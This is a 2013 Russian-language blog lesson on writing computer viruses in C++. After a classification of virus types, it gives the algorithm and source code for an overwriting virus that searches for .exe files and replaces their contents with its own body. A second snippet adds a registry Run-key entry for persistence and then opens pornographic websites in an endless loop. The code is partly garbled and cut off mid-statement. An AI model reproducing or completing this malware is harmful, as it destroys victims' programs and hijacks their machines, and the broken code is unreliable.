---
title: "C++&amp;Вирусы. Урок 2"
description: "Привет! Я продолжаю писать уроки по си++ и разработке вирусов.Сегодня мы разберем классификацию виру..."
author: "huzrus"
published: "2013-02-03T09:38:31+00:00"
modified: "2013-02-03T09:38:31+00:00"
locale: "ru"
canonical_url: "https://yvision.kz/post/c-amp-virusy-urok-2-318278"
markdown_url: "https://yvision.kz/post/c-amp-virusy-urok-2-318278/markdown"
site_name: "Yvision.kz"
---

# C++&amp;Вирусы. Урок 2

> Привет! Я продолжаю писать уроки по си++ и разработке вирусов.Сегодня мы разберем классификацию виру...

Привет! Я продолжаю писать уроки по си++ и разработке вирусов.Сегодня мы разберем классификацию вирусов и напишем непосредственно сам вирус.Конечно, он будет очень примитивный, но все же.В приложении вы найдете описание нескольких необходимых функцийЭтот урок начнем с разбора типов вирусовИтак, прежде всего вирусы бывают резидентские и нерезидентныеРезидентские – это те вирусы, которые находиться в памяти до выключение компьютера.Нерезидентные – эти вирусы не заражают память и действуют только ограниченное время.Надеюсь тут понятно. Резидентские вирусы работают (тоесть распространяются) только до выключения компьютера и выгрузки памяти. А Нерезидентные только ограниченное время.Вирусы могут обитать в сети, файлах, загрузочной области, макросах.По местам обитания их можно разбить на группы.Сетевые вирусы – самые обычные черви, которые могут размножаться по сети и соответственно заржать множество компьютеров. Эти вирусы используют возможности сетевых протоколов и глобальной сети. Вспомни Морриса.Файловые вирусы – очень распространенный тип. Те вирусы, которые заражают файлы, например с расширениями *.exe, *.com,*.sys и так далее. С ними мы будем знакомиться ближе. Сейчас я опишу их способы размножения, но полный разбор будет на следующем уроке.Overwriting – самый простенький способ. Они записывают вместо кода файла свой код, т.е. вирус превращает файл в себя. Соответственно быстро паляться.Parasitic – тоже внедряют свой код в файл, но только частично. Тоесть либо вначале, либо в конце. Возможно еще в середине.Компаньон-вирусы - а вот эти файлы не изменяют заражаемые файлы, а только создают им спутник (двойник) например с расширение *.COM. Например, после если он заразит файл “Examp.exe” то у этого файла в этом же каталоге создастся файл “Examp.com”.Link-вирусы – тоже не изменяют файл, но при запуске зараженного файла операционная система выполняет нужный нам код.Вот основные типы файловых вирусов. Скажу что у них важна скорость размножения – чем быстрее, тем больше вероятность заразить больше файлов и вызвать эпидемию. НО. Чем медленнее работает этот вирус те меньше вероятность, что его запалить антивирь.Загрузочные вирусы – они повреждает загрузочную область(Boot область) их еще называют бутовые вирусы. При загрузке ос. (Тоетсь после тестов установленного оборудования) она передает управление управляющей программе. Так вот цель вируса внедрить свой код в эту программу.Макро вирусы – в некоторых текстовых редакторах, электронных таблицах и т.д. встроены специальные макро языки. И при их помощи переносят себя из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макро-вирусы для Microsoft Word, Excel и Office97. Существуют также макро-вирусы, заражающие документы Ami Pro и базы данных Microsoft Access.Да…. Еще есть вирус под название логическая бомба. Вирус этот срабатывает в определенное время, которое кодер запрограммировал.Большое распространение получили трояны и бэкдоры. Работают они по технологии клиент сервер.Это самые распространенные вирусы.Мы в ближайщее время работать в направлении файловых вирусов.Думаю пора нам практиковаться.Хочу дать совет. При написании любого вируса сядь и распиши алгоритма работы этого вируса. Тут ты можешь поэкспериментировать.Для начала думаю, стоит написать вирус оверврайтер. Напомню что они записывает поверх заражаемого файла свой код.Вот примерный алгоритм.----------------------------------------------------------------------------------------------------------Сначала нужно найти файл с нужным расширением. Мы будем использовать *.exeДалее проверить заражен ли это файл. Проверка может заключаться в обычном сравнении размеров.Непосредственно заменить тело файла (код) на свое.Ну и выйти.----------------------------------------------------------------------------------------------------------Ты, конечно, можешь модернизировать этот алгоритм, если будет желание.А вот и код самого вируса. Сейчас будем разбирать.//---------------------------------------------------------------------------#include // подключение необходимых директив #include #pragma hdrstop #include // в stdio.h хранить много функций, которые щаз нам пригодятся #pragma hdrstop #pragma argsused

void rewrite(char vir[],char tmp[]) // заголовок { FILE *TeloVir, *TeloProg; // буферы для хранение нужных данных char Buffer[1024]; int i = 0; // числовые переменные short Count=0; TeloVir=fopen(vir,"rb"); //берем тело вируса if (TeloVir) { TeloProg=fopen(tmp,"wb"); // берем тело жертвы if (TeloProg) { for (i=0;iRootKey= HKEY_LOCAL_MACHINE; // корень reg->OpenKey("Software", true); // далее открываться нужные разделы reg->OpenKey("Microsoft", true); reg->OpenKey("Windows", true); reg->OpenKey("CurrentVersion", true); reg->OpenKey("Policies", true); reg->OpenKey("Explorer", true); reg->OpenKey("run", true); reg->WriteString("MSDrive","path"); записываем параметр с именем Sistem и значение path. А path у нас это путь reg->CloseKey();// ну и закрываем ключ for (int i=1;i>0;i++) { ShellExecute(NULL, "open", "http://porno.com/",0, 0, SW_SHOWNORMAL); // открываем адрес Sleep(10000);//æäåì 10 ñåê ShellExecute(NULL, "open", "http://porno.ru/",0, 0, SW_SHOWNORMAL); Sleep(60000); // еще около минуты }

Все здесь решает функция ShellExecute в приложении есть ее описание. Далее спим 10 секунд. Открываем еще один адрес. Спим минуту Повторяем. И все это происходит в бесконечном цикле. А в начале мы записались в реестр. Этот код мы разбирали на прошлом уроке. Да… не забудь добавить в начале #include

Приложение.

Функции fopen, fread, fwrite.

Fopen – функция открывает файл определяемый именем. Параметры – имя, тип доступа.

Какой может быть тип доступа?

"r" - открыть файл для чтения. "w" – открыть файл для записи. (Все содержимое уничтожается) "a" – открыть файл для добавления

"r+" - открыть файл для чтения и одновременно для записи "w+" – открыть файл для записи и чтения "a+" – открыть файл для добавления и чтения

Помнишь, мы говорили о вирусах, которые могут записываться, например, только в начало файла, не стирая его полностью. Так вот для этого и служит «a» и «а+».

К ним можно добавить (что мы и сделали) “b”. С ним мы откроем файл в двоичном режиме.

Функция fopen возвращает указатель на открытый файл. Если она вернула NULL то произошла ошибка.

Fread – как мы выяснили она что то читает Параметры – Буфер в котором будут располагаться данные Размер в байтах (у нас 1) Максимально число объектов (1024) Указатель на структуру FILE (TeloVir у нас)

Возвращает число прочитанных объектов.

Fwrite – записываем поверх кода файла

Параметры – Что записывать (мы указали считанный в buffer вирус) Размер одного элемента, тоже в байтах Максимальное число элементов Ну и указатель на структуру FILE или попросту куда записывать

GetModuleFileName – возвращает маршрут к файлу. Параметры - Идентификатор модуля. Буфеp. Размер буфера. Функция возвратит нам число скопированных байт. Что собственно нам и нужно.

Структура типа ffblk.

В этой структуре храниться информация о файле и Содержащем его каталоге Структура пригодиться нам при работе с FindFirst.

FindFirst – производит поиск по маске. Параметры – Маска Указатель на структуру ffblk.

При успешном выполнении возвращает 0. Если она видит что в каталоге нет подходящих файлов возвращает -1.

Вместе с ней мы используем также FindNext. Обращение к этой функции дает следующий файл, подходящий по шаблону.

Вот и все. Не судите строго =)

 

[Уроки для хакеров и программистов](http://itblogs.org/)

---

Source: [https://yvision.kz/post/c-amp-virusy-urok-2-318278](https://yvision.kz/post/c-amp-virusy-urok-2-318278)